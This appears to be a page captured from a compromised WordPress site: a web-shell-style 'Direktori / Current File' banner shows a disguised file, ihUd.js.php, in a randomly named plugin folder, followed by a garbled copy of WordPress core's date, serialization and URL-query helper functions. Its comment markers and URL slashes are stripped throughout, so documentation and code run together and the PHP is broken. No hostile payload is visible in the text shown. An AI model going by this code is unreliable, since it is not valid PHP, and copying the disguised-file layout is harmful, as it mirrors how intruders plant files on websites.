%PDF- %PDF-
Direktori : /var/www/html/higroup/wp-content/plugins/22q949o4/ |
Current File : /var/www/html/higroup/wp-content/plugins/22q949o4/ihUd.js.php |
<?php /* * * Main WordPress API * * @package WordPress require ABSPATH . WPINC . '/option.php'; * * Converts given MySQL date string into a different format. * * - `$format` should be a PHP date format string. * - 'U' and 'G' formats will return an integer sum of timestamp with timezone offset. * - `$date` is expected to be local time in MySQL format (`Y-m-d H:i:s`). * * Historically UTC time could be passed to the function to produce Unix timestamp. * * If `$translate` is true then the given date and format string will * be passed to `wp_date()` for translation. * * @since 0.71 * * @param string $format Format of the date to return. * @param string $date Date string to convert. * @param bool $translate Whether the return date should be translated. Default true. * @return string|int|false Integer if `$format` is 'U' or 'G', string otherwise. * False on failure. function mysql2date( $format, $date, $translate = true ) { if ( empty( $date ) ) { return false; } $datetime = date_create( $date, wp_timezone() ); if ( false === $datetime ) { return false; } Returns a sum of timestamp with timezone offset. Ideally should never be used. if ( 'G' === $format || 'U' === $format ) { return $datetime->getTimestamp() + $datetime->getOffset(); } if ( $translate ) { return wp_date( $format, $datetime->getTimestamp() ); } return $datetime->format( $format ); } * * Retrieves the current time based on specified type. * * - The 'mysql' type will return the time in the format for MySQL DATETIME field. * - The 'timestamp' or 'U' types will return the current timestamp or a sum of timestamp * and timezone offset, depending on `$gmt`. * - Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d'). * * If `$gmt` is a truthy value then both types will use GMT time, otherwise the * output is adjusted with the GMT offset for the site. * * @since 1.0.0 * @since 5.3.0 Now returns an integer if `$type` is 'U'. Previously a string was returned. * * @param string $type Type of time to retrieve. Accepts 'mysql', 'timestamp', 'U', * or PHP date format string (e.g. 'Y-m-d'). * @param int|bool $gmt Optional. Whether to use GMT timezone. Default false. * @return int|string Integer if `$type` is 'timestamp' or 'U', string otherwise. function current_time( $type, $gmt = 0 ) { Don't use non-GMT timestamp, unless you know the difference and really need to. if ( 'timestamp' === $type || 'U' === $type ) { return $gmt ? time() : time() + (int) ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ); } if ( 'mysql' === $type ) { $type = 'Y-m-d H:i:s'; } $timezone = $gmt ? new DateTimeZone( 'UTC' ) : wp_timezone(); $datetime = new DateTime( 'now', $timezone ); return $datetime->format( $type ); } * * Retrieves the current time as an object using the site's timezone. * * @since 5.3.0 * * @return DateTimeImmutable Date and time object. function current_datetime() { return new DateTimeImmutable( 'now', wp_timezone() ); } * * Retrieves the timezone of the site as a string. * * Uses the `timezone_string` option to get a proper timezone name if available, * otherwise falls back to a manual UTC ± offset. * * Example return values: * * - 'Europe/Rome' * - 'America/North_Dakota/New_Salem' * - 'UTC' * - '-06:30' * - '+00:00' * - '+08:45' * * @since 5.3.0 * * @return string PHP timezone name or a ±HH:MM offset. function wp_timezone_string() { $timezone_string = get_option( 'timezone_string' ); if ( $timezone_string ) { return $timezone_string; } $offset = (float) get_option( 'gmt_offset' ); $hours = (int) $offset; $minutes = ( $offset - $hours ); $sign = ( $offset < 0 ) ? '-' : '+'; $abs_hour = abs( $hours ); $abs_mins = abs( $minutes * 60 ); $tz_offset = sprintf( '%s%02d:%02d', $sign, $abs_hour, $abs_mins ); return $tz_offset; } * * Retrieves the timezone of the site as a `DateTimeZone` object. * * Timezone can be based on a PHP timezone string or a ±HH:MM offset. * * @since 5.3.0 * * @return DateTimeZone Timezone object. function wp_timezone() { return new DateTimeZone( wp_timezone_string() ); } * * Retrieves the date in localized format, based on a sum of Unix timestamp and * timezone offset in seconds. * * If the locale specifies the locale month and weekday, then the locale will * take over the format for the date. If it isn't, then the date format string * will be used instead. * * Note that due to the way WP typically generates a sum of timestamp and offset * with `strtotime()`, it implies offset added at a _current_ time, not at the time * the timestamp represents. Storing such timestamps or calculating them differently * will lead to invalid output. * * @since 0.71 * @since 5.3.0 Converted into a wrapper for wp_date(). * * @param string $format Format to display the date. * @param int|bool $timestamp_with_offset Optional. A sum of Unix timestamp and timezone offset * in seconds. Default false. * @param bool $gmt Optional. Whether to use GMT timezone. Only applies * if timestamp is not provided. Default false. * @return string The date, translated if locale specifies it. function date_i18n( $format, $timestamp_with_offset = false, $gmt = false ) { $timestamp = $timestamp_with_offset; If timestamp is omitted it should be current time (summed with offset, unless `$gmt` is true). if ( ! is_numeric( $timestamp ) ) { phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested $timestamp = current_time( 'timestamp', $gmt ); } * This is a legacy implementation quirk that the returned timestamp is also with offset. * Ideally this function should never be used to produce a timestamp. if ( 'U' === $format ) { $date = $timestamp; } elseif ( $gmt && false === $timestamp_with_offset ) { Current time in UTC. $date = wp_date( $format, null, new DateTimeZone( 'UTC' ) ); } elseif ( false === $timestamp_with_offset ) { Current time in site's timezone. $date = wp_date( $format ); } else { * Timestamp with offset is typically produced by a UTC `strtotime()` call on an input without timezone. * This is the best attempt to reverse that operation into a local time to use. $local_time = gmdate( 'Y-m-d H:i:s', $timestamp ); $timezone = wp_timezone(); $datetime = date_create( $local_time, $timezone ); $date = wp_date( $format, $datetime->getTimestamp(), $timezone ); } * * Filters the date formatted based on the locale. * * @since 2.8.0 * * @param string $date Formatted date string. * @param string $format Format to display the date. * @param int $timestamp A sum of Unix timestamp and timezone offset in seconds. * Might be without offset if input omitted timestamp but requested GMT. * @param bool $gmt Whether to use GMT timezone. Only applies if timestamp was not provided. * Default false. $date = apply_filters( 'date_i18n', $date, $format, $timestamp, $gmt ); return $date; } * * Retrieves the date, in localized format. * * This is a newer function, intended to replace `date_i18n()` without legacy quirks in it. * * Note that, unlike `date_i18n()`, this function accepts a true Unix timestamp, not summed * with timezone offset. * * @since 5.3.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param string $format PHP date format. * @param int $timestamp Optional. Unix timestamp. Defaults to current time. * @param DateTimeZone $timezone Optional. Timezone to output result in. Defaults to timezone * from site settings. * @return string|false The date, translated if locale specifies it. False on invalid timestamp input. function wp_date( $format, $timestamp = null, $timezone = null ) { global $wp_locale; if ( null === $timestamp ) { $timestamp = time(); } elseif ( ! is_numeric( $timestamp ) ) { return false; } if ( ! $timezone ) { $timezone = wp_timezone(); } $datetime = date_create( '@' . $timestamp ); $datetime->setTimezone( $timezone ); if ( empty( $wp_locale->month ) || empty( $wp_locale->weekday ) ) { $date = $datetime->format( $format ); } else { We need to unpack shorthand `r` format because it has parts that might be localized. $format = preg_replace( '/(?<!\\\\)r/', DATE_RFC2822, $format ); $new_format = ''; $format_length = strlen( $format ); $month = $wp_locale->get_month( $datetime->format( 'm' ) ); $weekday = $wp_locale->get_weekday( $datetime->format( 'w' ) ); for ( $i = 0; $i < $format_length; $i++ ) { switch ( $format[ $i ] ) { case 'D': $new_format .= addcslashes( $wp_locale->get_weekday_abbrev( $weekday ), '\\A..Za..z' ); break; case 'F': $new_format .= addcslashes( $month, '\\A..Za..z' ); break; case 'l': $new_format .= addcslashes( $weekday, '\\A..Za..z' ); break; case 'M': $new_format .= addcslashes( $wp_locale->get_month_abbrev( $month ), '\\A..Za..z' ); break; case 'a': $new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'a' ) ), '\\A..Za..z' ); break; case 'A': $new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'A' ) ), '\\A..Za..z' ); break; case '\\': $new_format .= $format[ $i ]; If character follows a slash, we add it without translating. if ( $i < $format_length ) { $new_format .= $format[ ++$i ]; } break; default: $new_format .= $format[ $i ]; break; } } $date = $datetime->format( $new_format ); $date = wp_maybe_decline_date( $date, $format ); } * * Filters the date formatted based on the locale. * * @since 5.3.0 * * @param string $date Formatted date string. * @param string $format Format to display the date. * @param int $timestamp Unix timestamp. * @param DateTimeZone $timezone Timezone. $date = apply_filters( 'wp_date', $date, $format, $timestamp, $timezone ); return $date; } * * Determines if the date should be declined. * * If the locale specifies that month names require a genitive case in certain * formats (like 'j F Y'), the month name will be replaced with a correct form. * * @since 4.4.0 * @since 5.4.0 The `$format` parameter was added. * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param string $date Formatted date string. * @param string $format Optional. Date format to check. Default empty string. * @return string The date, declined if locale specifies it. function wp_maybe_decline_date( $date, $format = '' ) { global $wp_locale; i18n functions are not available in SHORTINIT mode. if ( ! function_exists( '_x' ) ) { return $date; } * translators: If months in your language require a genitive case, * translate this to 'on'. Do not translate into your own language. if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) { $months = $wp_locale->month; $months_genitive = $wp_locale->month_genitive; * Match a format like 'j F Y' or 'j. F' (day of the month, followed by month name) * and decline the month. if ( $format ) { $decline = preg_match( '#[dj]\.? F#', $format ); } else { If the format is not passed, try to guess it from the date string. $decline = preg_match( '#\b\d{1,2}\.? [^\d ]+\b#u', $date ); } if ( $decline ) { foreach ( $months as $key => $month ) { $months[ $key ] = '# ' . preg_quote( $month, '#' ) . '\b#u'; } foreach ( $months_genitive as $key => $month ) { $months_genitive[ $key ] = ' ' . $month; } $date = preg_replace( $months, $months_genitive, $date ); } * Match a format like 'F jS' or 'F j' (month name, followed by day with an optional ordinal suffix) * and change it to declined 'j F'. if ( $format ) { $decline = preg_match( '#F [dj]#', $format ); } else { If the format is not passed, try to guess it from the date string. $decline = preg_match( '#\b[^\d ]+ \d{1,2}(st|nd|rd|th)?\b#u', trim( $date ) ); } if ( $decline ) { foreach ( $months as $key => $month ) { $months[ $key ] = '#\b' . preg_quote( $month, '#' ) . ' (\d{1,2})(st|nd|rd|th)?([-–]\d{1,2})?(st|nd|rd|th)?\b#u'; } foreach ( $months_genitive as $key => $month ) { $months_genitive[ $key ] = '$1$3 ' . $month; } $date = preg_replace( $months, $months_genitive, $date ); } } Used for locale-specific rules. $locale = get_locale(); if ( 'ca' === $locale ) { " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..." $date = preg_replace( '# de ([ao])#i', " d'\\1", $date ); } return $date; } * * Converts float number to format based on the locale. * * @since 2.3.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param float $number The number to convert based on locale. * @param int $decimals Optional. Precision of the number of decimal places. Default 0. * @return string Converted number in string format. function number_format_i18n( $number, $decimals = 0 ) { global $wp_locale; if ( isset( $wp_locale ) ) { $formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] ); } else { $formatted = number_format( $number, absint( $decimals ) ); } * * Filters the number formatted based on the locale. * * @since 2.8.0 * @since 4.9.0 The `$number` and `$decimals` parameters were added. * * @param string $formatted Converted number in string format. * @param float $number The number to convert based on locale. * @param int $decimals Precision of the number of decimal places. return apply_filters( 'number_format_i18n', $formatted, $number, $decimals ); } * * Converts a number of bytes to the largest unit the bytes will fit into. * * It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts * number of bytes to human readable number by taking the number of that unit * that the bytes will go into it. Supports YB value. * * Please note that integers in PHP are limited to 32 bits, unless they are on * 64 bit architecture, then they have 64 bit size. If you need to place the * larger size then what PHP integer type will hold, then use a string. It will * be converted to a double, which should always have 64 bit length. * * Technically the correct unit names for powers of 1024 are KiB, MiB etc. * * @since 2.3.0 * @since 6.0.0 Support for PB, EB, ZB, and YB was added. * * @param int|string $bytes Number of bytes. Note max integer size for integers. * @param int $decimals Optional. Precision of number of decimal places. Default 0. * @return string|false Number string on success, false on failure. function size_format( $bytes, $decimals = 0 ) { $quant = array( translators: Unit symbol for yottabyte. _x( 'YB', 'unit symbol' ) => YB_IN_BYTES, translators: Unit symbol for zettabyte. _x( 'ZB', 'unit symbol' ) => ZB_IN_BYTES, translators: Unit symbol for exabyte. _x( 'EB', 'unit symbol' ) => EB_IN_BYTES, translators: Unit symbol for petabyte. _x( 'PB', 'unit symbol' ) => PB_IN_BYTES, translators: Unit symbol for terabyte. _x( 'TB', 'unit symbol' ) => TB_IN_BYTES, translators: Unit symbol for gigabyte. _x( 'GB', 'unit symbol' ) => GB_IN_BYTES, translators: Unit symbol for megabyte. _x( 'MB', 'unit symbol' ) => MB_IN_BYTES, translators: Unit symbol for kilobyte. _x( 'KB', 'unit symbol' ) => KB_IN_BYTES, translators: Unit symbol for byte. _x( 'B', 'unit symbol' ) => 1, ); if ( 0 === $bytes ) { translators: Unit symbol for byte. return number_format_i18n( 0, $decimals ) . ' ' . _x( 'B', 'unit symbol' ); } foreach ( $quant as $unit => $mag ) { if ( (float) $bytes >= $mag ) { return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit; } } return false; } * * Converts a duration to human readable format. * * @since 5.1.0 * * @param string $duration Duration will be in string format (HH:ii:ss) OR (ii:ss), * with a possible prepended negative sign (-). * @return string|false A human readable duration string, false on failure. function human_readable_duration( $duration = '' ) { if ( ( empty( $duration ) || ! is_string( $duration ) ) ) { return false; } $duration = trim( $duration ); Remove prepended negative sign. if ( '-' === substr( $duration, 0, 1 ) ) { $duration = substr( $duration, 1 ); } Extract duration parts. $duration_parts = array_reverse( explode( ':', $duration ) ); $duration_count = count( $duration_parts ); $hour = null; $minute = null; $second = null; if ( 3 === $duration_count ) { Validate HH:ii:ss duration format. if ( ! ( (bool) preg_match( '/^([0-9]+):([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) { return false; } Three parts: hours, minutes & seconds. list( $second, $minute, $hour ) = $duration_parts; } elseif ( 2 === $duration_count ) { Validate ii:ss duration format. if ( ! ( (bool) preg_match( '/^([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) { return false; } Two parts: minutes & seconds. list( $second, $minute ) = $duration_parts; } else { return false; } $human_readable_duration = array(); Add the hour part to the string. if ( is_numeric( $hour ) ) { translators: %s: Time duration in hour or hours. $human_readable_duration[] = sprintf( _n( '%s hour', '%s hours', $hour ), (int) $hour ); } Add the minute part to the string. if ( is_numeric( $minute ) ) { translators: %s: Time duration in minute or minutes. $human_readable_duration[] = sprintf( _n( '%s minute', '%s minutes', $minute ), (int) $minute ); } Add the second part to the string. if ( is_numeric( $second ) ) { translators: %s: Time duration in second or seconds. $human_readable_duration[] = sprintf( _n( '%s second', '%s seconds', $second ), (int) $second ); } return implode( ', ', $human_readable_duration ); } * * Gets the week start and end from the datetime or date string from MySQL. * * @since 0.71 * * @param string $mysqlstring Date or datetime field type from MySQL. * @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string. * @return int[] { * Week start and end dates as Unix timestamps. * * @type int $start The week start date as a Unix timestamp. * @type int $end The week end date as a Unix timestamp. * } function get_weekstartend( $mysqlstring, $start_of_week = '' ) { MySQL string year. $my = substr( $mysqlstring, 0, 4 ); MySQL string month. $mm = substr( $mysqlstring, 8, 2 ); MySQL string day. $md = substr( $mysqlstring, 5, 2 ); The timestamp for MySQL string day. $day = mktime( 0, 0, 0, $md, $mm, $my ); The day of the week from the timestamp. $weekday = gmdate( 'w', $day ); if ( ! is_numeric( $start_of_week ) ) { $start_of_week = get_option( 'start_of_week' ); } if ( $weekday < $start_of_week ) { $weekday += 7; } The most recent week start day on or before $day. $start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week ); $start + 1 week - 1 second. $end = $start + WEEK_IN_SECONDS - 1; return compact( 'start', 'end' ); } * * Serializes data, if needed. * * @since 2.0.5 * * @param string|array|object $data Data that might be serialized. * @return mixed A scalar data. function maybe_serialize( $data ) { if ( is_array( $data ) || is_object( $data ) ) { return serialize( $data ); } * Double serialization is required for backward compatibility. * See https:core.trac.wordpress.org/ticket/12930 * Also the world will end. See WP 3.6.1. if ( is_serialized( $data, false ) ) { return serialize( $data ); } return $data; } * * Unserializes data only if it was serialized. * * @since 2.0.0 * * @param string $data Data that might be unserialized. * @return mixed Unserialized data can be any type. function maybe_unserialize( $data ) { if ( is_serialized( $data ) ) { Don't attempt to unserialize data that wasn't serialized going in. return @unserialize( trim( $data ) ); } return $data; } * * Checks value to find if it was serialized. * * If $data is not a string, then returned value will always be false. * Serialized data is always a string. * * @since 2.0.5 * @since 6.1.0 Added Enum support. * * @param string $data Value to check to see if was serialized. * @param bool $strict Optional. Whether to be strict about the end of the string. Default true. * @return bool False if not serialized and true if it was. function is_serialized( $data, $strict = true ) { If it isn't a string, it isn't serialized. if ( ! is_string( $data ) ) { return false; } $data = trim( $data ); if ( 'N;' === $data ) { return true; } if ( strlen( $data ) < 4 ) { return false; } if ( ':' !== $data[1] ) { return false; } if ( $strict ) { $lastc = substr( $data, -1 ); if ( ';' !== $lastc && '}' !== $lastc ) { return false; } } else { $semicolon = strpos( $data, ';' ); $brace = strpos( $data, '}' ); Either ; or } must exist. if ( false === $semicolon && false === $brace ) { return false; } But neither must be in the first X characters. if ( false !== $semicolon && $semicolon < 3 ) { return false; } if ( false !== $brace && $brace < 4 ) { return false; } } $token = $data[0]; switch ( $token ) { case 's': if ( $strict ) { if ( '"' !== substr( $data, -2, 1 ) ) { return false; } } elseif ( false === strpos( $data, '"' ) ) { return false; } Or else fall through. case 'a': case 'O': case 'E': return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data ); case 'b': case 'i': case 'd': $end = $strict ? '$' : ''; return (bool) preg_match( "/^{$token}:[0-9.E+-]+;$end/", $data ); } return false; } * * Checks whether serialized data is of string type. * * @since 2.0.5 * * @param string $data Serialized data. * @return bool False if not a serialized string, true if it is. function is_serialized_string( $data ) { if it isn't a string, it isn't a serialized string. if ( ! is_string( $data ) ) { return false; } $data = trim( $data ); if ( strlen( $data ) < 4 ) { return false; } elseif ( ':' !== $data[1] ) { return false; } elseif ( ';' !== substr( $data, -1 ) ) { return false; } elseif ( 's' !== $data[0] ) { return false; } elseif ( '"' !== substr( $data, -2, 1 ) ) { return false; } else { return true; } } * * Retrieves post title from XMLRPC XML. * * If the title element is not part of the XML, then the default post title from * the $post_default_title will be used instead. * * @since 0.71 * * @global string $post_default_title Default XML-RPC post title. * * @param string $content XMLRPC XML Request content * @return string Post title function xmlrpc_getposttitle( $content ) { global $post_default_title; if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) { $post_title = $matchtitle[1]; } else { $post_title = $post_default_title; } return $post_title; } * * Retrieves the post category or categories from XMLRPC XML. * * If the category element is not found, then the default post category will be * used. The return type then would be what $post_default_category. If the * category is found, then it will always be an array. * * @since 0.71 * * @global string $post_default_category Default XML-RPC post category. * * @param string $content XMLRPC XML Request content * @return string|array List of categories or category name. function xmlrpc_getpostcategory( $content ) { global $post_default_category; if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) { $post_category = trim( $matchcat[1], ',' ); $post_category = explode( ',', $post_category ); } else { $post_category = $post_default_category; } return $post_category; } * * XMLRPC XML content without title and category elements. * * @since 0.71 * * @param string $content XML-RPC XML Request content. * @return string XMLRPC XML Request content without title and category elements. function xmlrpc_removepostdata( $content ) { $content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content ); $content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content ); $content = trim( $content ); return $content; } * * Uses RegEx to extract URLs from arbitrary content. * * @since 3.7.0 * @since 6.0.0 Fixes support for HTML entities (Trac 30580). * * @param string $content Content to extract URLs from. * @return string[] Array of URLs found in passed string. function wp_extract_urls( $content ) { preg_match_all( "#([\"']?)(" . '(?:([\w-]+:)??)' . '[^\s()<>]+' . '[.]' . '(?:' . '\([\w\d]+\)|' . '(?:' . "[^`!()\[\]{}:'\".,<>«»“”‘’\s]|" . '(?:[:]\d+)?/?' . ')+' . ')' . ")\\1#", $content, $post_links ); $post_links = array_unique( array_map( static function( $link ) { Decode to replace valid entities, like &. $link = html_entity_decode( $link ); Maintain backward compatibility by removing extraneous semi-colons (`;`). return str_replace( ';', '', $link ); }, $post_links[2] ) ); return array_values( $post_links ); } * * Checks content for video and audio links to add as enclosures. * * Will not add enclosures that have already been added and will * remove enclosures that are no longer in the post. This is called as * pingbacks and trackbacks. * * @since 1.5.0 * @since 5.3.0 The `$content` parameter was made optional, and the `$post` parameter was * updated to accept a post ID or a WP_Post object. * @since 5.6.0 The `$content` parameter is no longer optional, but passing `null` to skip it * is still supported. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|null $content Post content. If `null`, the `post_content` field from `$post` is used. * @param int|WP_Post $post Post ID or post object. * @return void|false Void on success, false if the post is not found. function do_enclose( $content, $post ) { global $wpdb; @todo Tidy this code and make the debug code optional. include_once ABSPATH . WPINC . '/class-IXR.php'; $post = get_post( $post ); if ( ! $post ) { return false; } if ( null === $content ) { $content = $post->post_content; } $post_links = array(); $pung = get_enclosed( $post->ID ); $post_links_temp = wp_extract_urls( $content ); foreach ( $pung as $link_test ) { Link is no longer in post. if ( ! in_array( $link_test, $post_links_temp, true ) ) { $mids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $link_test ) . '%' ) ); foreach ( $mids as $mid ) { delete_metadata_by_mid( 'post', $mid ); } } } foreach ( (array) $post_links_temp as $link_test ) { If we haven't pung it already. if ( ! in_array( $link_test, $pung, true ) ) { $test = parse_url( $link_test ); if ( false === $test ) { continue; } if ( isset( $test['query'] ) ) { $post_links[] = $link_test; } elseif ( isset( $test['path'] ) && ( '/' !== $test['path'] ) && ( '' !== $test['path'] ) ) { $post_links[] = $link_test; } } } * * Filters the list of enclosure links before querying the database. * * Allows for the addition and/or removal of potential enclosures to save * to postmeta before checking the database for existing enclosures. * * @since 4.4.0 * * @param string[] $post_links An array of enclosure links. * @param int $post_id Post ID. $post_links = apply_filters( 'enclosure_links', $post_links, $post->ID ); foreach ( (array) $post_links as $url ) { $url = strip_fragment_from_url( $url ); if ( '' !== $url && ! $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $url ) . '%' ) ) ) { $headers = wp_get_http_headers( $url ); if ( $headers ) { $len = isset( $headers['Content-Length'] ) ? (int) $headers['Content-Length'] : 0; $type = isset( $headers['Content-Type'] ) ? $headers['Content-Type'] : ''; $allowed_types = array( 'video', 'audio' ); Check to see if we can figure out the mime type from the extension. $url_parts = parse_url( $url ); if ( false !== $url_parts && ! empty( $url_parts['path'] ) ) { $extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION ); if ( ! empty( $extension ) ) { foreach ( wp_get_mime_types() as $exts => $mime ) { if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) { $type = $mime; break; } } } } if ( in_array( substr( $type, 0, strpos( $type, '/' ) ), $allowed_types, true ) ) { add_post_meta( $post->ID, 'enclosure', "$url\n$len\n$mime\n" ); } } } } } * * Retrieves HTTP Headers from URL. * * @since 1.5.1 * * @param string $url URL to retrieve HTTP headers from. * @param bool $deprecated Not Used. * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|false Headers on success, false on failure. function wp_get_http_headers( $url, $deprecated = false ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.7.0' ); } $response = wp_safe_remote_head( $url ); if ( is_wp_error( $response ) ) { return false; } return wp_remote_retrieve_headers( $response ); } * * Determines whether the publish date of the current post in the loop is different * from the publish date of the previous post in the loop. * * For more information on this and similar theme functions, check out * the {@link https:developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 0.71 * * @global string $currentday The day of the current post in the loop. * @global string $previousday The day of the previous post in the loop. * * @return int 1 when new day, 0 if not a new day. function is_new_day() { global $currentday, $previousday; if ( $currentday !== $previousday ) { return 1; } else { return 0; } } * * Builds URL query based on an associative and, or indexed array. * * This is a convenient function for easily building url queries. It sets the * separator to '&' and uses _http_build_query() function. * * @since 2.3.0 * * @see _http_build_query() Used to build the query * @link https:www.php.net/manual/en/function.http-build-query.php for more on what * http_build_query() does. * * @param array $data URL-encode key/value pairs. * @return string URL-encoded string. function build_query( $data ) { return _http_build_query( $data, null, '&', '', false ); } * * From php.net (modified by Mark Jaquith to behave like the native PHP5 function). * * @since 3.2.0 * @access private * * @see https:www.php.net/manual/en/function.http-build-query.php * * @param array|object $data An array or object of data. Converted to array. * @param string $prefix Optional. Numeric index. If set, start parameter numbering with it. * Default null. * @param string $sep Optional. Argument separator; defaults to 'arg_separator.output'. * Default null. * @param string $key Optional. Used to prefix key name. Default empty string. * @param bool $urlencode Optional. Whether to use urlencode() in the result. Default true. * @return string The query string. function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) { $ret = array(); foreach ( (array) $data as $k => $v ) { if ( $urlencode ) { $k = urlencode( $k ); } if ( is_int( $k ) && null != $prefix ) { $k = $prefix . $k; } if ( ! empty( $key ) ) { $k = $key . '%5B' . $k . '%5D'; } if ( null === $v ) { continue; } elseif ( false === $v ) { $v = '0'; } if ( is_array( $v ) || is_object( $v ) ) { array_push( $ret, _http_build_query( $v, '', $sep, $k, $urlencode ) ); } elseif ( $urlencode ) { array_push( $ret, $k . '=' . urlencode( $v ) ); } else { array_push( $ret, $k . '=' . $v ); } } if ( null === $sep ) { $sep = ini_get( 'arg_separator.output' ); } return implode( $sep, $ret ); } * * Retrieves a modified URL query string. * * You can rebuild the URL and append query variables to the URL query by using this function. * There are two ways to use this function; either a single key and value, or an associative array. * * Using a single key and value: * * add_query_arg( 'key', 'value', 'http:example.com' ); * * Using an associative array: * * add_query_arg( array( * 'key1' => 'value1', * 'key2' => 'value2', * ), 'http:example.com' ); * * Omitting the URL from either use results in the current URL being used * (the value of `$_SERVER['REQUEST_URI']`). * * Values are expected to be encoded appropriately with urlencode() or rawurlencode(). * * Setting any query variable's value to boolean false removes the key (see remove_query_arg()). * * Important: The return value of add_query_arg() is not escaped by default. Output should be * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting * (XSS) attacks. * * @since 1.5.0 * @since 5.3.0 Formalized the existing and already documented parameters * by adding `...$args` to the function signature. * * @param string|array $key Either a query variable key, or an associative array of query variables. * @param string $value Optional. Either a query variable value, or a URL to act upon. * @param string $url Optional. A URL to act upon. * @return string New URL query string (unescaped). function add_query_arg( ...$args ) { if ( is_array( $args[0] ) ) { if ( count( $args ) < 2 || false === $args[1] ) { $uri = $_SERVER['REQUEST_URI']; } else { $uri = $args[1]; } } else { if ( count( $args ) < 3 || false === $args[2] ) { $uri = $_SERVER['REQUEST_URI']; } else { $uri = $args[2]; } } $frag = strstr( $uri, '#' ); if ( $frag ) { $uri = substr( $uri, 0, -strlen( $frag ) ); } else { $frag = ''; } if ( 0 === stripos( $uri, 'http:' ) ) { $protocol = 'http:'; $uri = substr( $uri, 7 ); } elseif ( 0 === stripos( $uri, 'https:' ) ) { $protocol = 'https:'; $uri = substr( $uri, 8 ); } else { $protocol = ''; } if ( strpos( $uri, '?' ) !== false ) { list( $base, $query ) = explode( '?', $uri, 2 ); $base .= '?'; } elseif ( $protocol || strpos( $uri, '=' ) === false ) { $base = $uri . '?'; $query = ''; } else { $base = ''; $query = $uri; } wp_parse_str( $query, $qs ); $qs = urlencode_deep( $qs ); This re-URL-encodes things that were already in the query string. if ( is_array( $args[0] ) ) { foreach ( $args[0] as $k => $v ) { $qs[ $k ] = $v; } } else { $qs[ $args[0] ] = $args[1]; } foreach ( $qs as $k => $v ) { if ( false === $v ) { unset( $qs[ $k ] ); } } $ret = build_query( $qs ); $ret = trim( $ret, '?' ); $ret = preg_replace( '#=(&|$)#', '$1', $ret ); $ret = $protocol . $base . $ret . $frag; $ret = rtrim( $ret, '?' ); $ret = str_replace( '?#', '#', $ret ); return $ret; } * * Removes an item or items from a query string. * * Important: The return value of remove_query_arg() is not escaped by default. Output should be * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting * (XSS) attacks. * * @since 1.5.0 * * @param string|string[] $key Query key or keys to remove. * @param false|string $query Optional. When false uses the current URL. Default false. * @return string New URL query string. function remove_query_arg( $key, $query = false ) { if ( is_array( $key ) ) { Removing multiple keys. foreach ( $key as $k ) { $query = add_query_arg( $k, false, $query ); } return $query; } return add_query_arg( $key, false, $query ); } * * Returns an array of single-use query variable names that can be removed from a URL. * * @since 4.4.0 * * @return string[] An array of query variable names to remove from the URL. function wp_removable_query_args() { $removable_query_args = array( 'activate', 'activated', 'admin_email_remind_later', 'approved', 'core-major-auto-updates-saved', 'deactivate', 'delete_count', 'deleted', 'disabled', 'doing_wp_cron', 'enabled', 'error', 'hotkeys_highlight_first', 'hotkeys_highlight_last', 'ids', 'locked', 'message', 'same', 'saved', 'settings-updated', 'skipped', 'spammed', 'trashed', 'unspammed', 'untrashed', 'update', 'updated', 'wp-post-new-reload', ); * * Filters the list of query variable names to remove. * * @since 4.2.0 * * @param string[] $removable_query_args An array of query variable names to remove from a URL. return apply_filters( 'removable_query_args', $removable_query_args ); } * * Walks the array while sanitizing the contents. * * @since 0.71 * @since 5.5.0 Non-string values are left untouched. * * @param array $input_array Array to walk while sanitizing contents. * @return array Sanitized $input_array. function add_magic_quotes( $input_array ) { foreach ( (array) $input_array as $k => $v ) { if ( is_array( $v ) ) { $input_array[ $k ] = add_magic_quotes( $v ); } elseif ( is_string( $v ) ) { $input_array[ $k ] = addslashes( $v ); } else { continue; } } return $input_array; } * * HTTP request for URI to retrieve content. * * @since 1.5.1 * * @see wp_safe_remote_get() * * @param string $uri URI/URL of web page to retrieve. * @return string|false HTTP content. False on failure. function wp_remote_fopen( $uri ) { $parsed_url = parse_url( $uri ); if ( ! $parsed_url || ! is_array( $parsed_url ) ) { return false; } $options = array(); $options['timeout'] = 10; $response = wp_safe_remote_get( $uri, $options ); if ( is_wp_error( $response ) ) { return false; } return wp_remote_retrieve_body( $response ); } * * Sets up the WordPress query. * * @since 2.0.0 * * @global WP $wp Current WordPress environment instance. * @global WP_Query $wp_query 